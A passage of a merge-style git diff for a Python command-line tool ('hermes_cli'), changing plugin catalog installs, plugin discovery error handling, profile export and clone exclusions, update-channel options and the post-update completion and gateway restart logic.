dashboard_update_user_plugin(name:try:if sidecar:sha, changed = catalog.repin_catalog_plugin(target, sidecar)- return {"ok": True, "name": name, "sha": sha, "unchanged": not changed}+ warnings: list[str] = []- deps = _install_python_dependencies_quietly(target, warnings) if changed else []++ deps = _python_dependency_summary(target, warnings) if changed else []+ return {"ok": True, "name": name, "sha": sha, "unchanged": not changed,+ "python_dependencies": deps, "warnings": warnings}msg = _pull_plugin_update(target,lambda rec: (diff --cc hermes_cli/plugins_cmd_catalog.pyindex 836622e05db,213a1839f3e..47fabb4a427--- a/hermes_cli/plugins_cmd_catalog.py+++ b/hermes_cli/plugins_cmd_catalog.py@@@ -91,15 -106,16 +91,17 @@@ def removed_annotation(name: str, dir_p# ── Catalog-aware install / update ───────────────────────────────────────────def install_catalog_entry(entry: PluginCatalogEntry, *, force: bool, ref: Optional[str] = None,- allow_removed: bool = False, scan_decision_cb=None) -> tuple:+ allow_removed: bool = False, scan_decision_cb=None, python_deps: bool = True) -> tuple:- """``_install_plugin_core`` at the catalog pin (an explicit *ref* wins) + provenance sidecar.+ """Install the catalog pin with provenance in the shared install record.Returns the core's ``(target, manifest, installed_name)``."""from hermes_cli.plugins_cmd import _install_plugin_coreif not allow_removed:raise_if_removed(entry.name, entry.repo)target, manifest, installed_name = _install_plugin_core(entry.install_identifier, force=force, ref=ref or entry.sha, scan_decision_cb=scan_decision_cb,- catalog_entry=entry if ref is None or ref == entry.sha else None)- reviewed_pin=entry.sha, python_deps=python_deps)- write_catalog_sidecar(target, entry)++ catalog_entry=entry if ref is None or ref == entry.sha else None,++ reviewed_pin=entry.sha,++ python_deps=python_deps)return target, manifest, installed_name@@@ -260,10 -284,12 +268,12 @@@ def installed_catalog_state(installed:}- def catalog_row_fields(dir_path, pins: Dict[str, str]) -> Dict[str, Any]:+ def catalog_row_fields(dir_path, pins: Dict[str, str], versions: Optional[Dict[str, str]] = None) -> Dict[str, Any]:"""Provenance fields for one installed-plugin row (TUI/desktop ``plugins.manage list``): catalog- name/tier/installed SHA and, when *pins* has the entry, the current pin + ``update_available``."""+ name/tier/installed SHA and, when *pins* has the entry, the current pin (+ its version label from+ *versions*) and ``update_available``."""+ versions = versions or {}- sidecar = read_catalog_sidecar(dir_path)+ sidecar = catalog_install_record(dir_path)if not sidecar:return {}installed_sha = str(sidecar.get("sha") or "").lower()diff --cc hermes_cli/plugins_discovery.pyindex 29947aa8ae9,06a544943ca..672cbbf742d--- a/hermes_cli/plugins_discovery.py+++ b/hermes_cli/plugins_discovery.py@@@ -109,11 -109,18 +109,23 @@@ def scan_directorymanifests: List[PluginManifest] = []if not path.is_dir():return manifests-- for child in sorted(path.iterdir()):- if not child.is_dir() or (depth == 0 and skip_names and child.name in skip_names):++ try:++ children = sorted(path.iterdir())++ except OSError as exc:++ logger.warning("Skipping unreadable plugin directory %s: %s", path, exc)++ return manifests++ for child in children:+ try:+ if not child.is_dir() or (depth == 0 and skip_names and child.name in skip_names):+ continue+ manifest_file = next((f for f in (child / "plugin.yaml", child / "plugin.yml") if f.exists()), None)+ portable_file = child / "plugin.json"+ has_portable = portable_file.exists() or portable_file.is_symlink()+ except OSError as exc:+ # stat() raises (not "False") on an unsearchable directory — Windows ACLs (WinError 5) or a+ # mode-000 dir; one such plugin must not abort discovery for every other plugin (#111804).+ logger.warning("Skipping unreadable plugin directory %s: %s", child, exc)continue- manifest_file = next((f for f in (child / "plugin.yaml", child / "plugin.yml") if f.exists()), None)- portable_file = child / "plugin.json"if manifest_file is not None:manifest = parse_manifest_file(manifest_file, child, source, prefix)if manifest is not None:diff --cc hermes_cli/profiles.pyindex 23928fb3435,f99b0db3596..25d481937da--- a/hermes_cli/profiles.py+++ b/hermes_cli/profiles.py@@@ -17,8 -17,10 +17,11 @@@ from typing import Dict, List, Optionalfrom agent.skill_utils import is_excluded_skill_pathfrom hermes_cli.archive_safe import archive_root_dirs, make_targz, normalize_archive_parts, safe_extract_targz+from hermes_cli.home_data_layout import PM_RUNTIME_ROOT_DIRS- from hermes_constants import clear_named_profile_deleted, mark_named_profile_deleted, named_profile_is_deleted+ from hermes_constants import (+ LOCAL_RUNTIME_ROOT_DIRS, clear_named_profile_deleted, mark_named_profile_deleted, named_profile_has_identity,+ named_profile_is_deleted, named_profile_is_live,+ )logger = logging.getLogger(__name__)@@@ -41,20 -43,16 +44,24 @@@ _CLONE_ALL_STRIP: list[str] = ["gateway# Infrastructure excluded from --clone-all ONLY when the source is the default profile# (``~/.hermes``): git checkout (+ ~3 GB venv), worktrees, sibling profiles, shared bins,- # npm packages. Named profiles never hold these at root, so the gate avoids silently- # dropping user data from a named-profile source. Export uses a root allow-list instead- # (``_DEFAULT_EXPORT_INCLUDE_ROOT``): an archive is a portable snapshot, a clone must run.- _CLONE_ALL_DEFAULT_EXCLUDE_ROOT: frozenset[str] = frozenset({+ # npm packages, and the managed local-models trees — GGUF weights (tens of GB), the+ # llama.cpp runtime binaries and the managed Node install, all re-downloadable on demand+ # and resolved from the default root only. Named profiles never hold these at root, so the+ # gate avoids silently dropping user data from a named-profile source. Export uses a root+ # allow-list instead (``_DEFAULT_EXPORT_INCLUDE_ROOT``): an archive is a portable snapshot,+ # a clone must run. The runtime trio is ``LOCAL_RUNTIME_ROOT_DIRS``, shared with+ # ``hermes_cli.backup._EXCLUDED_ROOT_DIRS`` so the two lists cannot drift.-_CLONE_ALL_DEFAULT_EXCLUDE_ROOT: frozenset[str] = frozenset({- "hermes-agent", ".worktrees", "profiles", "bin", "node_modules",++_CLONE_ALL_DEFAULT_EXCLUDE_ROOT: frozenset[str] = frozenset({+ "hermes-agent",+ ".worktrees",+ "profiles",+ "bin",+ "node_modules",+ # Managed runtime trees — install artifacts, never profile state+ # (install/profile bucket split; see test_install_bucket_separation).+ ".hermes-runtime",+ "node",- })+ }) | LOCAL_RUNTIME_ROOT_DIRS# Per-profile history excluded from --clone-all for ANY source: SQLite session store# (+wal/shm, can reach many GB), session dirs, `hermes backup` archives, quick-backup@@@ -1653,9 -1766,8 +1815,10 @@@ def export_profile(name: str, output_pa# copy under a temp dir named after the canonical id: root allow-list for default,# credential exclusion for named profiles.def _ignore_credentials(directory: str, contents: list) -> set:- ignored = _EXPORT_CREDENTIAL_FILES & set(contents)+ ignored = _non_exportable_entries(directory, contents)+ ignored.update(_EXPORT_CREDENTIAL_FILES & set(contents))+ if Path(directory) == profile_dir:+ ignored |= PM_RUNTIME_ROOT_DIRS & set(contents)return ignoredignore = _default_export_ignore(profile_dir) if canon == "default" else _ignore_credentialsdiff --cc hermes_cli/subcommands/plugins.pyindex b9b965877ec,c977e35e68e..65279ee13a1--- a/hermes_cli/subcommands/plugins.py+++ b/hermes_cli/subcommands/plugins.py@@@ -29,6 -29,10 +29,9 @@@ def build_plugins_parser(subparsers, *plugins_install.add_argument("--allow-removed", action="store_true",help="DANGEROUS: bypass the catalog removed-plugin blocklist check")+ plugins_install.add_argument(+ "--no-deps", action="store_true",- help="Skip the plugin's declared Python dependencies (no conflict check, nothing installed); "- "you manage them yourself")++ help="Download without dependency consent and leave disabled; cannot replace an active plugin")_install_enable_group = plugins_install.add_mutually_exclusive_group()_install_enable_group.add_argument("--enable", action="store_true",diff --cc hermes_cli/subcommands/update.pyindex fb686edf0d7,d088af43451..2500a9ff1f5--- a/hermes_cli/subcommands/update.py+++ b/hermes_cli/subcommands/update.py@@@ -68,36 -68,15 +68,41 @@@ def build_update_parser(subparsers, *,help="Windows: mutate the venv even while other processes are running from its interpreter (desktop backend, gateway, terminals). Those processes keep native .pyd files locked, so the dependency sync will likely fail partway and strand the install half-updated. Use only if you know the detected holders are false positives.",)update_parser.add_argument(- "--no-gateway-restart", action="store_true", default=False,- help="Update code and dependencies but skip the final gateway restart. "- "Use for cron/automated updates that run inside the gateway process: "- "the gateway would otherwise restart its own cgroup and kill the updater. "- "Pair with a separate restart step (e.g. a cron that runs 10-15 min later).",+ "--set-channel",+ default=None,+ type=validate_name,+ metavar="CHANNEL",+ help=(+ "Persist the update channel for THIS install (recorded per "+ "install in config.yaml under update.installs). Names are resolved "+ "from the release archive, not a built-in list. Source installs "+ "check out the published build's exact commit; main follows the "+ "source branch. Package channels are baked into their identities."+ ),+ )+ update_parser.add_argument(+ "--install-id",+ action="store_true",+ default=False,+ help=(+ "Print this install's id and path (the id keys its per-install "+ "channel record in config.yaml) and exit."+ ),)update_parser.add_argument(- "--post-swap", default=None, metavar="FILE", help=argparse.SUPPRESS,- # Internal: the pre-pull interpreter re-executes itself here after the code swap so the- # rest of the update runs on the pulled code (hermes_cli/update_handoff.py).+ "--channel",+ default=None,+ type=validate_name,+ metavar="CHANNEL",+ help=(+ "Track CHANNEL for this run only (transient override; "+ "--set-channel persists). 'stable' and 'canary' select published "+ "releases, 'main' the branch tip. Source installs only."+ ),+ )++ update_parser.add_argument(++ "--no-gateway-restart", action="store_true", default=False,++ help="Update code and dependencies but defer the fleet restart. Use for updates "++ "running inside a gateway cgroup, then restart gateways separately.",+ )update_parser.set_defaults(func=cmd_update)diff --cc hermes_cli/update_cmd.pyindex c38a35fd1a1,a40fa522fdc..42e5b01fd19--- a/hermes_cli/update_cmd.py+++ b/hermes_cli/update_cmd.py@@@ -103,11 -104,10 +103,12 @@@ from hermes_cli.update_cmd_maint impor_format_time_ago, _post_update_sqlite_runtime_status, _print_bundled_skills_sync_report,_print_curator_first_run_notice, _print_curator_recent_run_notice,_print_fts_optimize_available_notice, _print_update_completion, _print_update_summary,- _print_verified_update_completion, _read_project_version,+ _prepare_updated_checkout,+ _print_verified_update_completion, _purge_stale_hermes_modules, _read_project_version,+ _reload_process_scan_modules, _reload_updated_runtime_modules,_resolve_pre_update_backup_mode, _restore_state_db_from_snapshot,- _run_post_update_maintenance, _run_pre_update_backup, _sweep_bytecode_after_update,+ _run_post_update_maintenance, _run_pre_update_backup,+ _sweep_bytecode_after_update,_update_complete_message, _verify_and_restore_one_state_db,_verify_and_restore_state_dbs_post_update)logger = logging.getLogger(__name__)@@@ -793,50 -596,141 +794,51 @@@ def _print_update_check_result(behind:print(f" Run '{recommended_update_command()}' to install.")-def _repair_venv_on_current_checkout(- *, assume_yes, gateway_mode, pre_update_snapshot_id,- had_desktop_app_before_update, active_lazy_features, active_tool_dependencies,- _windows_gateway_resume) -> bool:- """Reinstall ``.[all]`` + lazy/tool deps into an unhealthy (or handed-off) venv; returns- whether the checkout can be reported complete."""- # Self-lock deferral: the repair rewrites the venv too (same mapped-extension hazard).- # See #86735.- # Self-lock deferral (relocated preflight — #86735): if THIS process holds a native extension the sync- # must rewrite, defer NOW — after the code swap, so only the dependency install is pending and the next- # fresh launch completes it via the marker.- _m()._abort_dependency_sync_if_self_locked(_windows_gateway_resume)- _write_update_incomplete_marker()- from hermes_cli.managed_uv import ensure_uv- repair_uv = ensure_uv()- # Venv gone entirely (repair interrupted after the old one was moved aside): recreate.- venv_dir = project_venv_dir(_m().PROJECT_ROOT) or _m().PROJECT_ROOT / "venv"- venv_python_missing = not venv_python_path(venv_dir, windows=_m()._is_windows()).exists()- if venv_python_missing and repair_uv:- print("→ Recreating virtual environment...")- subprocess.run([repair_uv, "venv", venv_dir.name], cwd=_m().PROJECT_ROOT, check=False)- repair_prefix, repair_env = _pip_install_prefix(repair_uv)- _m()._install_python_dependencies_with_optional_fallback(repair_prefix, env=repair_env, group="all")- _m()._refresh_active_lazy_features(repair_prefix, env=repair_env, features=active_lazy_features)- _m()._restore_active_tool_dependencies(active_tool_dependencies, repair_prefix, env=repair_env)- _m()._reapply_plugin_python_dependencies()- # Core ``.[all]`` install finished. Clear the generic core breadcrumb before the lazy-refresh phase —- # that phase uses its own marker so a later lazy failure cannot be "healed" by clearing the core marker- # based on a narrow 7-package import probe (#58004 review).- _m()._clear_update_incomplete_marker()- healthy_after, detail_after = _venv_core_imports_healthy()- if not healthy_after:- print(f"⚠ Venv still unhealthy after repair: {detail_after}")- print(" Close all Hermes windows/gateways and re-run: hermes update")- return False- print("✓ Dependencies repaired!")- # The hand-off child never reaches the commits-pulled Node/web/Desktop- # phase. Finish through the current-checkout repair path, whose npm digest- # gate keeps this cheap when the pulled manifests did not change.- return _repair_node_deps_on_current_checkout(- _print_verified_update_completion,- assume_yes=assume_yes,- gateway_mode=gateway_mode,- pre_update_snapshot_id=pre_update_snapshot_id,- completion_message="✓ Update complete!",- had_desktop_app_before_update=had_desktop_app_before_update,- )---def _pip_install_prefix(uv_bin) -> tuple[list[str], dict | None]:- """``(install prefix, env)``: ``uv pip`` isolated from third-party UV env vars (so a foreign- UV_PYTHON_INSTALL_DIR can't hijack it), else ``sys.executable -m pip`` (avoids PEP 668 errors)."""- if uv_bin:- # Same third-party UV-env isolation as the main update path (#83914): a user-level- # UV_PYTHON_INSTALL_DIR / UV_PYTHON from unrelated software must not steer which interpreter uv- # resolves here.- # See #83914.- from hermes_cli.managed_uv import managed_python_env- env = managed_python_env()- env["VIRTUAL_ENV"] = str(project_venv_dir(_m().PROJECT_ROOT) or _m().PROJECT_ROOT / "venv")- return [uv_bin, "pip"], env- return [sys.executable, "-m", "pip"], None---def _repair_current_checkout(- *, assume_yes, gateway_mode, pre_update_snapshot_id,- had_desktop_app_before_update, active_lazy_features, active_tool_dependencies,- upstream_checked, _windows_gateway_resume) -> bool:- """Already-up-to-date path: keep the managed runtime current, repair a broken venv.- Returns whether the checkout can be reported complete."""- # "No new commits" != safe interpreter: uv can keep the same CPython patch while- # python-build-standalone refreshes the embedded SQLite; keep the boundary hook here too.- from hermes_cli.managed_uv import ensure_uv, update_managed_uv- runtime_repairs = []- update_managed_uv(repair_observer=runtime_repairs.append)- repair_uv = ensure_uv(repair_observer=runtime_repairs.append)- runtime_repaired = next((result for result in runtime_repairs if result.repaired), None)-- # A current checkout does NOT imply a healthy install (a prior sync may have died- # partway, e.g. Windows locked .pyd); probe or "Already up to date!" hides a bricked venv.- healthy, detail = _venv_core_imports_healthy()- # The Windows shim hand-off child is current BY DESIGN; its one job is the pending sync,- # not venv health — without this it would print "Already up to date!" and skip it.- handed_off_sync = os.environ.get(_m()._UPDATE_REEXEC_ENV) == "1"- if handed_off_sync:- print("→ Finishing the dependency install handed off by hermes.exe...")- elif not healthy:- print("⚠ Checkout is current, but the venv is unhealthy:")- print(f" {detail}")- print("→ Repairing Python dependencies...")- if handed_off_sync or not healthy:- current_checkout_complete = _repair_venv_on_current_checkout(- assume_yes=assume_yes, gateway_mode=gateway_mode,- pre_update_snapshot_id=pre_update_snapshot_id,- had_desktop_app_before_update=had_desktop_app_before_update,- active_lazy_features=active_lazy_features,- active_tool_dependencies=active_tool_dependencies,- _windows_gateway_resume=_windows_gateway_resume)- else:- if runtime_repaired is not None:- # A successful SQLite repair swaps in a venv built from uv.lock alone, so core- # imports pass while lazily-installed backends and ``hermes tools`` dependencies- # are gone (#112571). Restore the pre-cutover snapshots exactly as the pull path- # and the unhealthy-venv repair do; the healthy core set needs no reinstall.- repair_prefix, repair_env = _pip_install_prefix(repair_uv)- # Same marker discipline as the pull path: an interrupted or failed lazy restore- # must leave the breadcrumb so the next `hermes` run finishes the repair.- _write_lazy_refresh_incomplete_marker()- if _m()._refresh_active_lazy_features(- repair_prefix, env=repair_env, features=active_lazy_features):- _m()._clear_lazy_refresh_incomplete_marker()- else:- print(" ⚠ Lazy-refresh recovery incomplete — run `hermes` again "- "to finish import-based venv repair.")- _m()._restore_active_tool_dependencies(- active_tool_dependencies, repair_prefix, env=repair_env)- _m()._reapply_plugin_python_dependencies()- current_checkout_complete = _repair_node_deps_on_current_checkout(- _print_verified_update_completion, assume_yes=assume_yes, gateway_mode=gateway_mode,- pre_update_snapshot_id=pre_update_snapshot_id,- completion_message=(- "✓ Already up to date!" if upstream_checked- else "✓ Up to date with your fork (official repo not checked)."),- had_desktop_app_before_update=had_desktop_app_before_update)- if runtime_repaired is not None and not _m()._is_windows():- print()- print("⚠ Restart required to finish the managed Python runtime repair.")- print(- " Any running Hermes gateways, Desktop backends, or other "- "long-lived processes still use the previous runtime.")- print(" Restart each of them to pick up the repaired runtime.")- return current_checkout_complete+def _source_completion_request(opts, plan, snapshot_id, windows_resume, desktop, gateway_mode) -> dict:+ """Freeze data before mutation; no pre-swap module objects cross the seam."""+ from copy import deepcopy+ current = _completion_receipt._current.get()+ if current is None:+ _completion_receipt.begin_update_receipt()+ current = _completion_receipt._current.get()+ return {+ "schema": 1, "source": str(_m().PROJECT_ROOT.resolve()),+ "home": str(get_hermes_home()), "branch": "main", "desktop": desktop,+ "assume_yes": opts.assume_yes, "gateway_mode": gateway_mode,++ "no_gateway_restart": getattr(opts, "no_gateway_restart", False),+ "pre_update_version": opts.pre_update_version, "snapshot_id": snapshot_id,+ "sibling_snapshots": deepcopy(_completion_config._LAST_SIBLING_SNAPSHOTS),+ "plan": plan.to_dict() if plan is not None else None,+ "receipt": deepcopy(current.data), "windows_resume": windows_resume,+ }-def _reconcile_diverged_checkout(git_cmd, branch: str, pre_pull_sha) -> None:+def _complete_source_update(request: dict | None) -> None:+ if request is None:+ stop_for_relaunch(incomplete=True)+ from copy import deepcopy+ current = _completion_receipt._current.get()+ if current is not None:+ request["receipt"] = deepcopy(current.data)+ _write_fleet_restart_pending_marker(expected_sha=request.get("expected_sha") or "")+ result = run_completion(request)+ _accept_completion_pm_receipt(result.get("pm_receipt"), request["receipt"]["update_id"])+ token = request["windows_resume"]+ if token is not None and result.get("windows_resume") is not None:+ resumed = dict(result["windows_resume"])+ token.clear()+ token.update(resumed)+ if result.get("receipt") is not None:+ current = _completion_receipt._current.get()+ if current is not None:+ _completion_receipt._current.reset(current.current_token)+ if result["exit_code"]:+ raise SystemExit(result["exit_code"])+ if adopt_retired_channel(request):+ print(f"→ Source subscription moved to {request['channel_retirement']['destination']}")+++def _reconcile_diverged_checkout(git_cmd, branch: str, pre_pull_sha, *, target_ref=None) -> None:"""Fast-forward failed: merge on a custom branch (local commits survive) or reset --hard on thesame branch (rescue ref first when histories share no ancestor). ``sys.exit(1)`` on failure."""# A custom branch (local commits atop origin/<branch>) also can't ff, and reset --hard@@@ -1164,9 -1030,11 +1171,10 @@@ def _resolve_update_options(args, gatew_mode = str(_updates_config().get("non_interactive_local_changes", "stash")).lower()discard_local_changes = _mode == "discard"return _UpdateOptions(- active_lazy_features=active_lazy_features,- active_tool_dependencies=active_tool_dependencies, pre_update_version=pre_update_version,+ pre_update_version=pre_update_version,gw_input_fn=gw_input_fn, assume_yes=assume_yes, keep_stash=keep_stash,- switch_branch=switch_branch, discard_local_changes=discard_local_changes)+ switch_branch=switch_branch, discard_local_changes=discard_local_changes,+ no_gateway_restart=no_gateway_restart)def _begin_update_receipt_and_plan(args):@@@ -1286,20 -1173,20 +1294,20 @@@ def _handle_update_called_process_errorprint(f"⚠ {stage}: {e}")print("→ Falling back to ZIP download...")print()- desktop_build_ok = _update_via_zip(+ _update_via_zip(args, had_desktop_app_before_update=had_desktop_app_before_update,- _windows_gateway_resume=_windows_gateway_resume)- if gateway_mode:- _write_gateway_update_exit_code(desktop_build_ok)+ target_sha=target_sha, completion_request=completion_request,+ **({"target_repository": target_repository} if target_repository else {}))+else:- print(f"✗ {stage}: {e}")- _print_called_process_error_tail(e)if _called_process_error_is_python_dep_install(e):- print(- " The git update already finished. Re-downloading the source "- "ZIP cannot fix a dependency install error and would overwrite local files.")+ print(f"✗ {stage} (the code update itself succeeded).")+ _print_called_process_error_tail(e)+ print()+ print(" Hermes may not start until the dependencies are installed. Fix the error above")+ print(" (usually network or disk space), then run `hermes update` again.")if _m()._is_windows():- print(" Retry through the venv interpreter:")+ print(" If `hermes update` itself will not start, retry through the venv interpreter:")print(' venv\\Scripts\\python.exe -c ''"from hermes_cli.main import main; main()" update --yes')diff --cc hermes_cli/update_cmd_config.pyindex bebe000da71,2587a7db44c..4b0ae09bc5b--- a/hermes_cli/update_cmd_config.py+++ b/hermes_cli/update_cmd_config.py@@@ -150,13 -146,14 +150,14 @@@ def _check_and_apply_config_migrationSee #91360."""- from hermes_cli.update_cmd import (- _migrate_sibling_profile_configs, _run_config_check_fresh, _run_migrate_config_fresh)+ from hermes_cli.update_cmd import _migrate_sibling_profile_configs+ from hermes_cli.config import check_config_version, migrate_configprint()print("→ Checking configuration for new options...")- # A config-check failure must not break an otherwise-successful update; it still fails- # when the pulled tree is internally inconsistent, hence the try.+ from hermes_cli.config import get_missing_env_vars, get_missing_config_fields+ # A config-check failure must not break an otherwise-successful update.try:+ from hermes_cli.config import get_missing_env_vars, get_missing_config_fields# Log, point at the manual command, and return. See #91360.missing_env = get_missing_env_vars(required_only=True)missing_config = get_missing_config_fields()diff --cc hermes_cli/update_cmd_fleet.pyindex e11d4d67a77,33ce7dd278c..f4c19f9bd95--- a/hermes_cli/update_cmd_fleet.py+++ b/hermes_cli/update_cmd_fleet.py@@@ -1182,7 -1494,41 +1337,41 @@@ def _collect_fleet_snapshot(restart, roreturn snapshot+ def _fleet_row_identity_pending(row: dict, pre_restart_pids) -> bool:+ """An ``unknown`` row with no sha from a pid that did not exist at update start: a relaunched+ gateway still booting, not a gateway that predates version stamping. A surviving pre-restart pid+ (or no pid snapshot at all) is settled as-is — waiting cannot change what it publishes."""+ if row.get("state") != "unknown" or row.get("code_sha"):+ return False+ if pre_restart_pids is None:+ return False+ return row.get("pid") not in {int(p) for p in pre_restart_pids if isinstance(p, int)}+++ def _restarted_units_gone(scoped_units) -> bool:+ """True when every restarted systemd unit is LOADED in its scope and neither active nor+ activating: the successor died, nothing will publish a state stamp, so the settle poll should fail+ closed now instead of at the deadline. Anything inconclusive keeps waiting: no units, systemctl+ missing/slow, or ``LoadState=not-found`` — a unit name asked in a scope that does not own it+ answers ``inactive`` exactly like a dead unit (#112466), so only a loaded unit can prove death."""+ if not scoped_units:+ return False+ scope_cmds = dict(_SYSTEMD_SCOPES)+ for scoped in scoped_units:+ scope, _, name = scoped.partition("/")+ try:+ stdout = _systemctl(scope_cmds[scope] + ["show", "-p", "LoadState,ActiveState", name], timeout=5).stdout+ except (KeyError, FileNotFoundError, subprocess.TimeoutExpired):+ return False+ props = dict(line.split("=", 1) for line in stdout.splitlines() if "=" in line)+ if props.get("LoadState") != "loaded":+ return False+ if props.get("ActiveState") in ("active", "activating", "reloading"):+ return False+ return True++-def _verify_fleet_after_update(restart, *, _pre_update_plan, _windows_gateway_resume, node_failures, update_complete):+def _verify_fleet_after_update(restart, *, _pre_update_plan, _windows_gateway_resume, update_complete):"""Post-restart verification: legacy-unit warning, dashboard cleanup, stale serveprobe, fleet version matrix, plan-vs-execution reconciliation, receipt finalize.diff --cc hermes_cli/update_cmd_git.pyindex 834ea157fda,0b32663651f..e377e55fb08--- a/hermes_cli/update_cmd_git.py+++ b/hermes_cli/update_cmd_git.py@@@ -437,10 -421,38 +437,38 @@@ def _ensure_non_trampoline_git(git_cmdreturn [str(real_git)] + list(git_cmd[1:])+ def _npm_lockfile_owners(repo_root: Path) -> set[Path]:+ """Manifest directories whose specs the single root ``package-lock.json`` records: the root plus every+ workspace from the root ``workspaces`` globs (same model as ``update_cmd_deps._npm_manifest_paths``).+ A manifest outside that graph (``website/``, ``scripts/whatsapp-bridge/``) has its own lockfile."""+ owners = {Path(".")}+ try:+ import json+ package = json.loads((repo_root / "package.json").read_text(encoding="utf-8"))+ workspaces = package.get("workspaces", [])+ if isinstance(workspaces, dict):+ workspaces = workspaces.get("packages", [])+ if not isinstance(workspaces, list):+ return owners+ for pattern in workspaces:+ # One bad glob (absolute pattern -> NotImplementedError) degrades to "not an owner"+ # instead of aborting the whole churn cleanup through the caller's suppress(Exception).+ with suppress(Exception):+ for directory in repo_root.glob(str(pattern)):+ if (directory / "package.json").is_file():+ owners.add(directory.relative_to(repo_root))+ except (OSError, ValueError, TypeError):+ pass+ return owners++def _discard_lockfile_churn(git_cmd, repo_root):"""Restore ``package-lock.json`` files npm rewrote non-deterministically, so the update sees a clean tree- instead of autostashing every run. Only touches lockfiles whose package.json is NOT also dirty. Best-effort."""+ instead of autostashing every run. A lockfile is kept when a manifest it records is dirty: for the root+ lock that is the root or ANY workspace ``package.json`` (reverting it under a dirty ``apps/desktop``+ manifest desyncs spec and lock and every later ``npm ci`` fails, #112378); a nested lock is kept only+ with its sibling manifest. Best-effort."""- from hermes_cli.update_cmd import _git_run+ from hermes_cli.update_cmd_git import _git_runwith suppress(Exception):diff = _git_run(git_cmd, ["diff", "--name-only"], repo_root)if diff.returncode != 0:diff --cc hermes_cli/update_cmd_maint.pyindex c14a3bf4054,537cb223d21..2ac1d830b48--- a/hermes_cli/update_cmd_maint.py+++ b/hermes_cli/update_cmd_maint.py@@@ -783,31 -850,32 +801,39 @@@ def _sync_profiles_after_update() -> Nodef _refresh_cua_driver_after_update() -> None:- """cua-driver refresh, no-op unless on PATH; tied to update for a predictable cadence- without a per-launch GitHub API call."""- refresh_cua_driver = True- with _best_effort('Could not read updates.refresh_cua_driver: %s'):- refresh_cua_driver = bool(_load_updates_cfg().get("refresh_cua_driver", True))-- if (- refresh_cua_driver and sys.platform in ("darwin", "win32", "linux") and shutil.which("cua-driver")- ):- from hermes_cli.tools_config import install_cua_driver- print()- print("→ Refreshing cua-driver (Computer Use)...")- # require_confirmed_update: install only when check-update positively reports a- # newer release (update must stay fast; `computer-use install --upgrade` forces).- # Windows defers even confirmed updates (installer may need console/UAC consent).- install_cua_driver(upgrade=True, require_confirmed_update=True, show_installer_progress=False)+ """Reconcile an installed optional package, never a user-selected external binary."""+ import pm++ if not _load_updates_cfg().get("refresh_cua_driver", True):+ return+ if os.environ.get("HERMES_CUA_DRIVER_CMD", "").strip():+ return+ if pm.installed_package("cua-driver", allow_outdated=True) is None:+ return+ if sys.platform == "win32":+ # The scheduled task targets a versioned binary. Selecting a new pin+ # without re-registering leaves it stale; registration requires UAC.+ print("\n→ Windows cua-driver refresh deferred (autostart registration requires UAC).")+ print(" Run `hermes computer-use install --upgrade` in an interactive terminal.")+ return+ print("\n→ Preparing pinned cua-driver (Computer Use)...")+ if sys.platform == "darwin":+ # PM preserves the signed app; setup validates and registers its new path+ # with LaunchServices. This path never requests permissions or elevation.+ from hermes_cli.tools_config_cua import install_cua_driver+ install_cua_driver(show_installer_progress=False)+ else:+ pm.ensure("cua-driver", explicit=True)+ def _print_checkpoint_footprint_notice() -> None:+ """Surface a GB-scale /rollback store the user may not know is on (see the helper's docstring)."""+ from tools.checkpoint_manager import checkpoint_footprint_notice+ notice = checkpoint_footprint_notice()+ if notice:+ print(f"\n\033[1;33mℹ {notice}\033[0m")++def _print_plugin_compat_notice() -> None:"""Installed plugins importing paths that the Sep 2026 decomposition scheduled for removal."""from hermes_cli.plugin_compat import compat_report, removal_in_effect, summary_lines@@@ -836,23 -908,34 +867,35 @@@ def _print_post_update_notices_and_self('Curator first-run notice failed: %s', _print_curator_first_run_notice),('Curator recent-run notice failed: %s', _print_curator_recent_run_notice),('FHS PATH guard check failed: %s', _ensure_fhs_path_guard),- ('hermes-acp launcher self-heal failed: %s', _ensure_acp_launcher),+ ('CLI launcher exposure failed: %s', lambda: _launchers.expose_cli(_m().PROJECT_ROOT)),('Windows bin launcher migration failed: %s', _migrate_windows_bin_path),('cua-driver refresh failed: %s', _refresh_cua_driver_after_update),+ ('Checkpoint footprint notice failed: %s', _print_checkpoint_footprint_notice),('Plugin compat notice failed: %s', _print_plugin_compat_notice),+ # Named profiles stopped inheriting the root auth.json (#111724): name every profile that+ # now has no provider of its own so nobody finds out from a dead bot.+ ('Profile credential notice failed: %s', _print_profiles_without_credentials_notice),+ # Legacy HERMES_NEMO_RELAY_ATIF_*/ATOF_* vars produce no traces since the Relay cutover;+ # generate each profile's relay-plugins.toml instead of leaving exports silently dead.+ ('Relay exporter migration failed: %s', _migrate_relay_exporter_env),):with _best_effort(message):step()+ def _migrate_relay_exporter_env() -> None:+ from hermes_cli.relay_plugin_migrate import run_relay_migration_after_update+ run_relay_migration_after_update()++def _run_post_update_maintenance(- *, assume_yes, gateway_mode, pre_update_snapshot_id, had_desktop_app_before_update, node_failures, desktop_build_ok,- pre_update_version,+ *, assume_yes, gateway_mode, pre_update_snapshot_id, had_desktop_app_before_update,+ pre_update_version, completion_message=None,) -> bool:- """Post-pull housekeeping: state.db restore, catalog/skills/profile syncs, config migration,- the update summary (verdict returned), and best-effort notices/self-heals. Every step is- isolated so none can fail the update."""+ """Post-build housekeeping and completion, returning the SQLite runtime verdict.++ Ancillary repairs and notices are best-effort; an unsafe runtime withholds success.+ """from hermes_cli.update_cmd import _check_and_apply_config_migration, _m# macOS TCC: Desktop bundles are re-signed each update, so old grants can go stale# (toggle ON, yet macOS re-prompts with no Allow button). Tell users how to re-grant.diff --cc hermes_cli/update_completion.pyindex da9fbf8d96b,00000000000..da64519de2fmode 100644,000000..100644--- a/hermes_cli/update_completion.py+++ b/hermes_cli/update_completion.py@@@ -1,274 -1,0 +1,282 @@@+"""Fresh-checkout source update completion and its stdlib-only parent transport.++Imported before a swap; executed by path from the selected tree afterward. The+parent never imports application helpers from the replacement checkout.+"""++from __future__ import annotations++import codecs+import json+import os+import signal+from pathlib import Path+import subprocess+import sys+import tempfile+++def _write_json(path: Path, data: dict) -> None:+ temporary = path.with_suffix(".tmp")+ temporary.write_text(json.dumps(data), encoding="utf-8")+ temporary.replace(path)+++def _exit_status(code: int) -> int:+ return code if code >= 0 else 128 - code+++def _failed_result(request: dict, result_path: Path, code: int) -> int:+ code = _exit_status(code) or 1+ _write_json(result_path, {+ "schema": 1, "update_id": request["receipt"]["update_id"], "exit_code": code,+ "receipt": None, "windows_resume": None, "pm_receipt": request.get("pm_receipt"),+ })+ return code+++def run_completion(request: dict) -> dict:+ """Wait for new code; zero exit without a correlated terminal result fails closed."""+ root = 